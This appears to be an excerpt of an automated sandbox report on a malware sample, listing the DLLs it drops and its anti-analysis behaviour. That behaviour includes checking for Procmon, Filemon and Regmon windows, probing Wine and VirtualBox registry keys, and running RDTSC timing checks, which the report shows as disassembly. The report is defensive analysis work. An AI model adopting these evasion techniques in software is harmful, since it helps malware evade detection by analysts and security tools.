Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897B65 second address: 897B9E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1364F5E246h 0x00000008 jmp 00007F1364F5E254h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007F1364F5E24Fh 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a js 00007F1364F5E246h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA294 second address: 8AA2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1364D027B7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA2B0 second address: 8AA2BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F1364F5E246h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA2BD second address: 8AA2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA2CA second address: 8AA2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA2CE second address: 8AA2F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1364D027AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jbe 00007F1364D027D3h 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F1364D027A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA470 second address: 8AA478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA478 second address: 8AA47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACB2E second address: 8ACB48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E256h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACB48 second address: 8ACB4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACB4D second address: 8ACB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACBBF second address: 8ACC1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1364D027B8h 0x0000000f nop 0x00000010 and edx, dword ptr [ebp+122D36E5h] 0x00000016 push 00000000h 0x00000018 js 00007F1364D027ABh 0x0000001e push ebx 0x0000001f movzx esi, di 0x00000022 pop ecx 0x00000023 call 00007F1364D027A9h 0x00000028 jmp 00007F1364D027AEh 0x0000002d push eax 0x0000002e jo 00007F1364D027B4h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC1C second address: 8ACC20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC20 second address: 8ACC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F1364D027A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC34 second address: 8ACC3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC3A second address: 8ACC44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1364D027A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC44 second address: 8ACCE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jno 00007F1364F5E25Ah 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jbe 00007F1364F5E253h 0x0000001d pop eax 0x0000001e sub dword ptr [ebp+122D3344h], esi 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 mov ch, B3h 0x0000002a push 00000003h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F1364F5E248h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 add dword ptr [ebp+122D3344h], esi 0x0000004c push 6397C7E7h 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 jmp 00007F1364F5E259h 0x00000059 jg 00007F1364F5E246h 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACCE8 second address: 8ACCED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACEB4 second address: 8ACEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1364F5E246h 0x0000000a popad 0x0000000b jl 00007F1364F5E24Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACEC7 second address: 8ACF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push ebx 0x0000000a pushad 0x0000000b jns 00007F1364D027A6h 0x00000011 jmp 00007F1364D027B9h 0x00000016 popad 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [eax] 0x0000001a je 00007F1364D027AEh 0x00000020 jng 00007F1364D027A8h 0x00000026 push esi 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c pushad 0x0000002d je 00007F1364D027ACh 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD53C second address: 8CD54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 ja 00007F1364F5E246h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD54C second address: 8CD569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1364D027AEh 0x0000000e js 00007F1364D027A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB4ED second address: 8CB50B instructions: 0x00000000 rdtsc 0x00000002 js 00007F1364F5E24Ch 0x00000008 jc 00007F1364F5E246h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jnc 00007F1364F5E246h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB50B second address: 8CB511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB675 second address: 8CB687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1364F5E24Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB687 second address: 8CB68B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB68B second address: 8CB691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB980 second address: 8CB990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007F1364D027A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB990 second address: 8CB994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB994 second address: 8CB99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBADF second address: 8CBAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBAE5 second address: 8CBAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBAE9 second address: 8CBAED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBAED second address: 8CBAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC15C second address: 8CC161 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC161 second address: 8CC167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC2CA second address: 8CC2D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC2D0 second address: 8CC2D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC446 second address: 8CC44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC44A second address: 8CC471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B8h 0x00000007 jc 00007F1364D027A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B106 second address: 89B111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1364F5E246h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCE4B second address: 8CCE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCE52 second address: 8CCE5C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1364F5E24Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3E2A second address: 8D3E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7944 second address: 8D7964 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F1364F5E246h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d ja 00007F1364F5E246h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7964 second address: 8D7970 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnc 00007F1364D027A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7970 second address: 8D7986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F1364F5E246h 0x00000009 jl 00007F1364F5E246h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7C62 second address: 8D7C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9AC second address: 8DB9B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9B0 second address: 8DB9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9B6 second address: 8DB9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1364F5E259h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E8EC second address: 89E8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E8F2 second address: 89E8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD0E9 second address: 8DD0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD0EF second address: 8DD0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD0F3 second address: 8DD116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1364D027B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD116 second address: 8DD11C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD1C6 second address: 8DD1DE instructions: 0x00000000 rdtsc 0x00000002 js 00007F1364D027A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D2912h], edx 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD1DE second address: 8DD1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jp 00007F1364F5E24Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEC49 second address: 8DEC58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF5EE second address: 8DF5F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF5F3 second address: 8DF605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 je 00007F1364D027B4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF427 second address: 8DF42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF605 second address: 8DF680 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1364D027A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1364D027A8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov esi, 02A242D2h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F1364D027A8h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007F1364D027A8h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 00000015h 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 movsx esi, ax 0x00000065 xchg eax, ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 jne 00007F1364D027A8h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF42D second address: 8DF431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF431 second address: 8DF435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFE15 second address: 8DFE1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0E0A second address: 8E0E1C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F1364D027B4h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFE1B second address: 8DFE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E58EF second address: 8E5969 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F1364D027B9h 0x00000010 push 00000000h 0x00000012 jg 00007F1364D027B3h 0x00000018 xor dword ptr [ebp+1245E1BFh], edx 0x0000001e push 00000000h 0x00000020 call 00007F1364D027B4h 0x00000025 mov dword ptr [ebp+124764F1h], ecx 0x0000002b pop edi 0x0000002c jg 00007F1364D027ACh 0x00000032 mov ebx, dword ptr [ebp+122D2DE4h] 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F1364D027AFh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9059 second address: 8E905E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E905E second address: 8E90E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364D027B9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F1364D027B4h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F1364D027A8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D2912h], eax 0x00000036 push 00000000h 0x00000038 mov ebx, dword ptr [ebp+12453810h] 0x0000003e xchg eax, esi 0x0000003f push ebx 0x00000040 jmp 00007F1364D027AFh 0x00000045 pop ebx 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 pushad 0x0000004a popad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9FCF second address: 8E9FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F1364F5E24Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9FE7 second address: 8E9FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E9FEC second address: 8E9FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6AF9 second address: 8E6B0E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364D027A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ecx 0x0000000d je 00007F1364D027ACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC09D second address: 8EC0AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
